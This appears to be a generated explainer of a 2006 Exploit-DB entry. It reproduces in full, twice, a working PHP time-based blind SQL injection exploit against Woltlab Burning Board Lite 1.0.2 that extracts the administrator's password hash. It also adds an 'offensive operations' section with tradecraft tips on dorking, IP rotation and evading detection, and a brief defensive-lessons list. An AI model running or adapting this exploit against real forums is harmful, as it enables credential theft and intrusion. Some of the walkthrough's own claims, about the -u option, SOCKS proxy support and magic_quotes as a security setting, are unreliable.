Woltlab Burning Board Lite 1.0.2 Blind SQL Injection Explained

Woltlab Burning Board Lite 1.0.2 Blind SQL Injection Explained
What this paper is
This paper details a blind SQL injection vulnerability in Woltlab Burning Board Lite version 1.0.2. The exploit, written by rgod, leverages this vulnerability to extract user passwords by making a series of carefully crafted SQL queries. It's a classic example of a time-based blind SQL injection attack.
Simple technical breakdown
The core of the vulnerability lies in how the application handles user input, specifically the wbb_userid parameter. When this parameter is not properly sanitized, an attacker can inject SQL code.
This exploit uses a blind SQL injection technique. This means the attacker doesn't directly see the database's output. Instead, they infer information by observing the application's behavior, specifically the time it takes to respond.
The exploit works by:
- Probing for Vulnerability: It first sends a malformed
wbb_useridto see if the server returns a specific "mysql error number" message, indicating SQL injection is possible. It also tries to determine the database table prefix. - Character-by-Character Extraction: Once confirmed, it attempts to extract the password for a given
useridone character at a time. - Time-Based Inference: For each character, it iterates through possible ASCII values. It constructs a SQL query that includes a
BENCHMARK()function. This function executes a given expression a specified number of times. If the injected character is correct, theBENCHMARK()function will execute, causing a noticeable delay in the server's response. If the character is incorrect, the query will execute quickly. - Password Reconstruction: By measuring the response time, the attacker can determine which character is correct and append it to the growing password string. This process repeats until a null terminator is found, indicating the end of the password.
The exploit also mentions that magic_quotes_gpc should be Off and register_globals should be On for it to work, and it targets specific PHP versions.
Complete code and payload walkthrough
Let's break down the provided PHP exploit script section by section.
<?php
print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite 1.0.2 Zend_Hash_Del_Key_Or_Index /
/ blind sql injection exploit
by rgod retrog@alice.it
site: http://retrogod.altervista.org
dork: "Powered by Burning Board Lite 1.0.2 * 2001-2004"
--------------------------------------------------------------------------------
');
/*
magic_quotes_gpc=Off
works with register_globals = On
PHP < 4.4.3, 5 <= PHP < 5.1.4
*/
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to wbblite
Options:
-u[userid]: specify the userid of your target (default: 1, admin)
-p[port]: " a port other than 80
-P[ip:port]: " a proxy
-t[n]: adjust query timeout (default: 10)
-b[n]: " the delay for benchmark()
Example:
php '.$argv[0].' localhost /wbblite/ -P1.1.1.1:80
" " localhost / -u2 -p81
" " localhost /forum/ -t15 -b20000000
" " localhost / -t15 -b20000000
---------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);<?php ... ?>: Standard PHP opening and closing tags.print_r(...): Displays introductory information about the exploit, including the target software, author, website, and a search query (dork) to find vulnerable sites./* ... */: A multi-line comment indicating prerequisites for the exploit to work:magic_quotes_gpcmust beOff,register_globalsmust beOn, and specific PHP version ranges are targeted.if ($argc<3): Checks if the number of command-line arguments ($argc) is less than 3. The script requires at least ahostand apath.print_r('Usage: ...'): If the argument count is insufficient, it prints detailed usage instructions, explaining the required parameters (host,path) and optional flags (-u,-p,-P,-t,-b) with examples.die;: Exits the script if the usage instructions are displayed.error_reporting(0);: Disables error reporting, which is common in exploits to prevent verbose output that might reveal information or interfere with the exploit's logic.ini_set("max_execution_time",0);: Sets the maximum execution time for the script to unlimited (0). This is crucial for long-running exploits that might take a while to complete.ini_set("default_socket_timeout",5);: Sets the default timeout for socket operations to 5 seconds. This is a general network timeout, distinct from the specific query timeout controlled by the-toption.
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';function quick_dump($string): This function appears to be a utility for displaying raw string data in a human-readable hexadecimal and ASCII format.- It iterates through each character of the input
$string. - For non-printable characters (ASCII <= 32 or > 126), it appends " ." to the
$result. For printable characters, it appends " " followed by the character. - It converts the ASCII value of each character to its hexadecimal representation (
dechex(ord($string[$i]))). It pads with a leading "0" if the hex representation is only one digit. This hex representation is stored in$exa. - It formats the output into lines of 16 characters (15 hex pairs plus a space, then a newline).
- It returns the combined hex string and the ASCII representation. This function is not directly used in the exploit's core logic but might have been intended for debugging or displaying raw HTTP responses.
- It iterates through each character of the input
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';: Defines a regular expression pattern to match a standard IPv4 address and port format (e.g.,192.168.1.1:8080). This is used for validating proxy addresses.
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}function sendpacketii($packet): This is the core function for sending HTTP requests and receiving responses.- It takes the
$packet(the raw HTTP request string) as input. - It uses global variables
$proxy,$host,$port,$html, and$proxy_regex. - Proxy Handling:
- If
$proxyis empty, it establishes a direct connection to the target$hoston the specified$portusingfsockopen(). If the connection fails, it prints an error and exits. - If
$proxyis set, it first validates the proxy format using$proxy_regex. If invalid, it exits. It then splits the proxy address into IP and port, prints a connection message, and connects to the proxy server usingfsockopen(). If the proxy connection fails, it exits.
- If
- Sending Data:
fputs($ock, $packet)sends the constructed HTTP request to the server (or proxy). - Receiving Data:
- If not using a proxy, it reads the entire response line by line using
fgets()until the end of the file (feof()) is reached, accumulating it in the$htmlvariable. - If using a proxy, it reads the response byte by byte using
fread($ock, 1). It continues reading until it encounters a double CRLF (\r\n\r\n), which signifies the end of the HTTP headers and the start of the response body. This is a common way to parse HTTP responses when dealing with proxies.
- If not using a proxy, it reads the entire response line by line using
- Closing Connection:
fclose($ock)closes the socket connection.
- It takes the
$host=$argv[1];
$path=$argv[2];
$uid=1;
$port=80;
$timeout=10;
$proxy="";
$b=100000000;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
$timeout=(int) str_replace("-t","",$argv[$i]);
}
if ($temp=="-b")
{
$b=(int) str_replace("-b","",$argv[$i]);
}
if ($temp=="-u")
{
$uid=(int) str_replace("-b","",$argv[$i]); // BUG: should be str_replace("-u","",$argv[$i])
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}- Argument Parsing: This section initializes variables and parses command-line arguments.
$host = $argv[1];: Sets the target host from the first argument.$path = $argv[2];: Sets the target path from the second argument.- Default values are set for
$uid(1),$port(80),$timeout(10),$proxy(""), and$b(100,000,000 - a large number forBENCHMARK). - The
forloop iterates through the remaining arguments ($argv[3]onwards) to parse options:-p: Sets the$port.-P: Sets the$proxyaddress.-t: Sets the query timeout ($timeout).-b: Sets the delay forBENCHMARK()($b).-u: Sets the user ID ($uid). Note: There's a typo here:str_replace("-b","",$argv[$i])should bestr_replace("-u","",$argv[$i]). This means the-uoption will likely not work as intended unless the user also passes-bwith the user ID.
- Path Validation:
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))checks if the path starts and ends with a forward slash. If not, it prints an error and exits. - Path Construction:
- If no proxy is used (
$proxy == ''),$pis set directly to$path. - If a proxy is used,
$pis constructed ashttp://host:port/path. This is likely for constructing theHostheader correctly when going through a proxy.
- If no proxy is used (
$data ="wbb_userid=%27";
$data.="&-246470575=1";
$data.="&-73279541=1";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: wbb_userpassword=0;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("mysql error number:",$html)){
echo "vulnerable...\n";
$temp=explode("users LEFT JOIN",$html);$temp2=explode("FROM ",$temp[0]);$prefix=$temp2[1];
echo "prefix -> ".$prefix."\n";
}
else
{die("not vulnerable...");}- Initial Vulnerability Check: This block attempts to confirm if the target is vulnerable.
$data = "wbb_userid=%27";: Starts building the POST data.%27is the URL-encoded single quote ('). This is the first attempt to inject a quote into thewbb_useridparameter.$data.="&-246470575=1";and$data.="&-73279541=1";: These are additional parameters. Their exact purpose is unclear without deeper knowledge of the Woltlab Burning Board Lite application's internal handling of POST requests, but they are likely part of the expected POST data structure for the form submission. They might be used to bypass certain checks or to ensure the request looks like a legitimate form submission.- HTTP Packet Construction: A POST request is constructed:
POST /path HTTP/1.0: The request method and path.Host: target_host: The Host header.Content-Type: application/x-www-form-urlencoded: Standard for POST data.Content-Length: The length of the POST data.Cookie: wbb_userpassword=0;: A cookie is sent. Its value might be irrelevant or used to bypass some session checks.Connection: Close: Instructs the server to close the connection after the response.- The constructed
$datais appended.
- Sending and Checking:
sendpacketii($packet)sends this request. if (eregi("mysql error number:",$html)): It checks if the response ($html) contains the string "mysql error number:". This string typically appears in MySQL error messages, indicating a syntax error in the SQL query, which is what we expect if the injection was successful.- If vulnerable:
echo "vulnerable...\n";: Prints a success message.$temp=explode("users LEFT JOIN",$html);$temp2=explode("FROM ",$temp[0]);$prefix=$temp2[1];: This is a crucial step to determine the database table prefix. It parses the HTML response (which contains the MySQL error message) to find the string "users LEFT JOIN" and then extracts the part after "FROM " in the preceding section. This extracted part is expected to be the table prefix (e.g.,wbb_).echo "prefix -> ".$prefix."\n";: Prints the detected prefix.
- If not vulnerable:
die("not vulnerable...");exits the script.
- If vulnerable:
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="9999999'/**/OR/**/".$prefix."users.userid=$uid/**/AND/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),BENCHMARK(".$b.",CHAR(0)),-1))/**/LIMIT/**/1/*";
$sql=urlencode($sql);
$data ="wbb_userid=$sql";
$data.="&-246470575=1";
$data.="&-73279541=1";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: wbb_userpassword=0;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("mysql error number:",$html)) {
die($html."\n\n"."debug: you have to modify sql code injected, it seems a different version...");
}
usleep(20000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}- Password Extraction Loop: This is the core of the blind SQL injection.
$chars[0]=0;: Initializes an array$charswith a null byte (ASCII 0). This is used as a terminator for the password.$chars=array_merge($chars,range(48,57));: Adds ASCII values for digits '0' through '9'.$chars=array_merge($chars,range(97,102));: Adds ASCII values for lowercase hexadecimal characters 'a' through 'f'. This implies the exploit is designed to extract passwords that are likely MD5 hashes (which are 32 hex characters).$j=1; $password="";: Initializes$jto 1 (for the first character of the password) and$passwordto an empty string.- Outer
while (!strstr($password,chr(0)))loop: Continues as long as the extracted password does not contain a null byte. This means it keeps trying to extract characters until it finds the end of the password. - Inner
for ($i=0; $i<=255; $i++)loop: Iterates through all possible ASCII characters (0-255) for the current position ($j) in the password. if (in_array($i,$chars)): Checks if the current ASCII value$iis one of the characters we are looking for (digits 0-9 and hex a-f). This optimizes the search by not checking characters that are unlikely to be in a password hash.- SQL Injection Payload Construction:
$sql="9999999'/**/OR/**/".$prefix."users.userid=$uid/**/AND/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),BENCHMARK(".$b.",CHAR(0)),-1))/**/LIMIT/**/1/*";9999999': This part is likely to cause a syntax error on its own if not for the subsequent injection. The single quote is the injection point./**/OR/**/: SQL comment syntax used to break up keywords and bypass potential filters.".$prefix."users.userid=$uid: This part targets theuserstable and the specific$uid./**/AND/**/: Another set of comments.(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),BENCHMARK(".$b.",CHAR(0)),-1)): This is the core of the time-based blind injection.ASCII(SUBSTRING(password,".$j.",1)): Extracts the character at position$jfrom thepasswordcolumn.=".$i.": Compares the extracted character's ASCII value with the current test character's ASCII value ($i).IF(condition, value_if_true, value_if_false): A MySQL conditional function.BENCHMARK(".$b.",CHAR(0)): If the condition is true (the character matches), this function is executed.BENCHMARK(count, expression)executes theexpressioncounttimes. Here, it executesCHAR(0)(a null character)$btimes. This is computationally intensive and causes a delay.-1: If the condition is false,-1is returned. This is a quick operation.
/**/LIMIT/**/1/*: Limits the result to 1 row and ends the query with a comment.
$sql=urlencode($sql);: URL-encodes the constructed SQL query to be safely sent in the POST data.
- HTTP Request Preparation: The
$dataand$packetare constructed similarly to the initial check, but with the injected$sqlquery. - Sending and Timing:
sendpacketii($packet);: Sends the request.if (eregi("mysql error number:",$html)): A check to see if the injected query itself caused a MySQL error, which might indicate a problem with the injection syntax or a different database version. If so, it prints the error and exits.usleep(20000);: A small delay (20ms) to avoid overwhelming the server.$starttime=time();: Records the start time.sendpacketii($packet);: Sends the same packet again. This is the crucial part for timing.$endtime=time();: Records the end time.$difftime=$endtime - $starttime;: Calculates the time difference.if ($difftime > $timeout): If the time difference is greater than the specified$timeout(which is usually set to be slightly longer than the expected non-benchmark response time), it means theBENCHMARK()function likely executed.$password.=chr($i);: The character$iis appended to the$passwordstring.echo "password -> ".$password."[???]\r\n";: Prints the partially recovered password.sleep(2);: A short pause before moving to the next character.break;: Exits the innerforloop (character guessing) and moves to the next position ($j++) in the outerwhileloop.
- Exploit Failure:
if ($i==255): If the inner loop completes without finding a matching character (i.e., nobreakoccurred), it means the exploit failed for the current character position. It prints an error and exits. $j++;: Increments the character position counter.
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {
print_r('
--------------------------------------------------------------------------
cookie -> wbb_userid='.$uid.'; wbb_userpassword='.$hash.';
--------------------------------------------------------------------------
');
if ($uid==1) {
echo "done, but... to have access to admin panel you need to break the hash\n";
}
}
else {
echo "exploit failed...";
}
?>- Hash Verification and Output:
function is_hash($hash): A helper function that checks if a given string$hashlooks like an MD5 hash (32 hexadecimal characters). It usesereg, which is deprecated.if (is_hash($password)): If the extracted$passwordstring appears to be a valid MD5 hash:- It prints a success message, including a potential
cookiestring. Note: The variable$hashis used here, but it's not defined anywhere in the script. It's likely a typo and should have been$password. - If the extracted user ID was 1 (typically the admin), it prints a message stating that the hash needs to be broken to gain access to the admin panel.
- It prints a success message, including a potential
else { echo "exploit failed..."; }: If the extracted password doesn't look like a hash, it indicates failure.
Code Fragment/Block -> Practical Purpose Mapping:
<?php ... ?>: Standard PHP script wrapper.print_r('Introductory text'): Displays exploit metadata and author information./* ... */(comments): Provides crucial context on prerequisites (magic_quotes_gpc,register_globals, PHP versions).if ($argc<3): Command-line argument validation and usage display.error_reporting(0); ini_set(...): Script configuration for stealth and long execution.function quick_dump($string): Utility for displaying raw data (not critical for exploit logic).$proxy_regex: Regular expression for validating proxy format.function sendpacketii($packet): Core function for sending HTTP requests and receiving responses, handling direct connections and proxies.- Argument Parsing Loop (
for ($i=3; ...)): Parses command-line options (-p,-P,-t,-b,-u). - Path Validation (
if (($path[0]<>'/') ...)): Ensures the provided path is correctly formatted. - Initial
$dataand$packetconstruction: Prepares the first HTTP request to test for vulnerability. sendpacketii($packet)(first call): Sends the initial request to test for SQL injection.if (eregi("mysql error number:",$html)): Checks the response for SQL error indicators.explode("users LEFT JOIN", ...)andexplode("FROM ", ...): Logic to extract the database table prefix from the error message.$charsarray initialization and population: Defines the set of characters to test for password extraction (0-9, a-f).- Outer
while (!strstr($password,chr(0)))loop: Controls the iteration for each character position in the password. - Inner
for ($i=0; $i<=255; $i++)loop: Iterates through all possible ASCII values for the current character position. if (in_array($i,$chars)): Filters the character search to relevant characters.$sql = "9999999'/**/OR/**/...": Constructs the time-based blind SQL injection payload.IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),BENCHMARK(".$b.",CHAR(0)),-1)): The core conditional logic that triggersBENCHMARK()for a correct character match.
$sql=urlencode($sql);: Prepares the SQL payload for URL transmission.$dataand$packetconstruction (inside loops): Prepares the HTTP request with the injected SQL.sendpacketii($packet)(inside loops): Sends the crafted request to the target.$starttime=time(); sendpacketii($packet); $endtime=time();: Measures the response time to detect theBENCHMARK()delay.if ($difftime > $timeout): Logic to determine if the delay indicates a correct character match.$password.=chr($i);: Appends the correctly identified character to the password.function is_hash($hash): Validates if the extracted password looks like an MD5 hash.- Final
print_randechostatements: Displays the extracted password (or hash) and provides final messages.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server is required. No local access or elevated privileges on the server are needed for this specific exploit.
- Lab Preconditions:
- A target environment running Woltlab Burning Board Lite 1.0.2 (or a similarly vulnerable version with the same injection point).
- The target server must have
magic_quotes_gpcdisabled andregister_globalsenabled. - PHP versions within the specified ranges (
< 4.4.3,5 <= PHP < 5.1.4) are likely targets. - A stable network connection to the target.
- A working PHP interpreter on the attacker's machine to run the exploit script.
- Tooling Assumptions:
- PHP Interpreter: The exploit is written in PHP and requires a PHP CLI (Command Line Interface) to run.
- Network Tools: Basic network connectivity is assumed. The script handles socket connections directly.
- Proxy (Optional): If the target is behind a firewall or requires proxying, the script supports SOCKS or HTTP proxies via the
-Poption.
- Execution Pitfalls:
- PHP Version/Configuration: The exploit is highly dependent on the
magic_quotes_gpcandregister_globalssettings, as well as specific PHP versions. If these are not met, the exploit will likely fail. - Web Application Firewall (WAF): Modern WAFs can detect and block SQL injection attempts, especially those using common patterns like
OR 1=1orBENCHMARK(). The use of/**/comments might offer some evasion, but it's not foolproof. - Database Configuration: The exploit relies on specific MySQL error messages and the
BENCHMARK()function. If the database is configured differently, or if a different database system is used, the exploit will fail. - Table Prefix Variation: The logic for determining the table prefix (
$prefix) is based on parsing a specific error message format. If the error message structure differs, the prefix extraction will fail. - Network Latency/Instability: The time-based nature of the exploit makes it sensitive to network latency and packet loss. High latency can lead to false positives (detecting a delay when none occurred) or false negatives (missing a genuine delay). The
$timeoutand$bparameters may need tuning. - Rate Limiting/IP Blocking: Aggressive probing can trigger rate-limiting mechanisms or IP blocking on the target server or intermediary network devices.
- Typo in
-uargument parsing: As noted in the code walkthrough, the-uoption parsing has a typo (str_replace("-b", ...)instead ofstr_replace("-u", ...)), which will prevent it from correctly parsing the user ID unless the user ID is also passed as a-bargument.
- PHP Version/Configuration: The exploit is highly dependent on the
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the target application version and its environment (PHP version, server configuration) before attempting the exploit. Use the provided dork.
- Stealth: Running the exploit directly might be noisy. Consider using proxies, rotating IP addresses, and adjusting timing parameters to reduce detection probability.
- Payload Delivery: This exploit is for information gathering (password hash extraction). The extracted hash would then require a separate cracking process to obtain the plaintext password.
- Error Handling: The script's error handling is basic. In a real engagement, more robust logging and error reporting would be beneficial.
- Targeted Approach: Focus on specific user IDs, especially the administrator, to maximize impact.
- Likely Failure Points:
- Incorrect target application version.
magic_quotes_gpcis enabled.register_globalsis disabled.- WAF blocking the SQL injection payload.
- Network issues causing timeouts or connection failures.
- Database configuration or version mismatch.
- Incorrect path to the vulnerable script.
Where this was used and when
This exploit was published in 2006. Woltlab Burning Board Lite 1.0.2 was a popular forum software at the time. Exploits from this era often targeted common web application vulnerabilities like SQL injection, cross-site scripting, and file inclusion. This specific exploit would have been used by attackers to gain unauthorized access to user credentials, particularly administrator accounts, from websites running this version of the forum software. It represents a typical attack vector against PHP web applications of that period.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input must be rigorously validated and sanitized before being used in database queries. Use parameterized queries (prepared statements) to prevent SQL injection entirely.
- Secure Configuration: Ensure
magic_quotes_gpcis enabled (though it's deprecated and removed in modern PHP) andregister_globalsis disabled. Modern PHP versions have removedregister_globalsfor security reasons. - Regular Patching and Updates: Keep all web applications, frameworks, and server software (including PHP itself) updated to the latest stable versions. Vendors release patches to fix known vulnerabilities like this one.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including SQL injection attempts. However, WAFs are not a silver bullet and should be part of a layered security approach.
- Principle of Least Privilege: Ensure database users have only the necessary permissions. Avoid granting excessive privileges that could be abused if an injection occurs.
- Error Handling: Configure applications to log detailed errors internally but display generic, non-revealing error messages to end-users. Avoid exposing database error messages directly, as they can provide attackers with valuable information.
- Modern PHP Security Practices: Understand and implement secure coding practices for modern PHP versions, which include using namespaces, modern frameworks with built-in security features, and avoiding deprecated functions.
ASCII visual (if applicable)
This exploit is primarily a network-based interaction with a web application. A simple flow diagram can illustrate the process:
+-----------------+ +-----------------+ +-----------------+
| Attacker's | | Target Web | | Target Database |
| Machine |----->| Server |----->| (MySQL) |
| (Exploit Script)| | (Woltlab BB Lite)| | |
+-----------------+ +-----------------+ +-----------------+
|
| 1. Send crafted HTTP POST request
| (with injected SQL)
|
| 2. Observe server response time
| (short for incorrect char,
| long for correct char)
|
| 3. Reconstruct password character by character
|
v
+-----------------+
| Extracted |
| Password Hash |
+-----------------+Explanation:
- The attacker's machine runs the PHP exploit script.
- The script sends specially crafted HTTP POST requests to the target web server.
- The web server processes these requests, and if vulnerable, passes the injected SQL to the database.
- The database executes the SQL. The
BENCHMARK()function causes a delay if the injected character is correct. - The attacker's script measures the response time from the web server.
- Based on the response time, the script determines the correct character and builds the password hash. This process repeats for each character.
Source references
- PAPER ID: 2842
- PAPER TITLE: Woltlab Burning Board Lite 1.0.2 - Blind SQL Injection
- AUTHOR: rgod
- PUBLISHED: 2006-11-23
- KEYWORDS: PHP, webapps
- PAPER URL: https://www.exploit-db.com/papers/2842
- RAW URL: https://www.exploit-db.com/raw/2842
Original Exploit-DB Content (Verbatim)
<?php
print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite 1.0.2 Zend_Hash_Del_Key_Or_Index /
/ blind sql injection exploit
by rgod retrog@alice.it
site: http://retrogod.altervista.org
dork: "Powered by Burning Board Lite 1.0.2 * 2001-2004"
--------------------------------------------------------------------------------
');
/*
magic_quotes_gpc=Off
works with register_globals = On
PHP < 4.4.3, 5 <= PHP < 5.1.4
*/
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to wbblite
Options:
-u[userid]: specify the userid of your target (default: 1, admin)
-p[port]: " a port other than 80
-P[ip:port]: " a proxy
-t[n]: adjust query timeout (default: 10)
-b[n]: " the delay for benchmark()
Example:
php '.$argv[0].' localhost /wbblite/ -P1.1.1.1:80
" " localhost / -u2 -p81
" " localhost /forum/ -t15 -b20000000
" " localhost / -t15 -b20000000
---------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$uid=1;
$port=80;
$timeout=10;
$proxy="";
$b=100000000;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
$timeout=(int) str_replace("-t","",$argv[$i]);
}
if ($temp=="-b")
{
$b=(int) str_replace("-b","",$argv[$i]);
}
if ($temp=="-u")
{
$uid=(int) str_replace("-b","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data ="wbb_userid=%27";
$data.="&-246470575=1";
$data.="&-73279541=1";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: wbb_userpassword=0;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("mysql error number:",$html)){
echo "vulnerable...\n";
$temp=explode("users LEFT JOIN",$html);$temp2=explode("FROM ",$temp[0]);$prefix=$temp2[1];
echo "prefix -> ".$prefix."\n";
}
else
{die("not vulnerable...");}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="9999999'/**/OR/**/".$prefix."users.userid=$uid/**/AND/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),BENCHMARK(".$b.",CHAR(0)),-1))/**/LIMIT/**/1/*";
$sql=urlencode($sql);
$data ="wbb_userid=$sql";
$data.="&-246470575=1";
$data.="&-73279541=1";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: wbb_userpassword=0;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("mysql error number:",$html)) {
die($html."\n\n"."debug: you have to modify sql code injected, it seems a different version...");
}
usleep(20000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {
print_r('
--------------------------------------------------------------------------
cookie -> wbb_userid='.$uid.'; wbb_userpassword='.$hash.';
--------------------------------------------------------------------------
');
if ($uid==1) {
echo "done, but... to have access to admin panel you need to break the hash\n";
}
}
else {
echo "exploit failed...";
}
?>
# milw0rm.com [2006-11-23]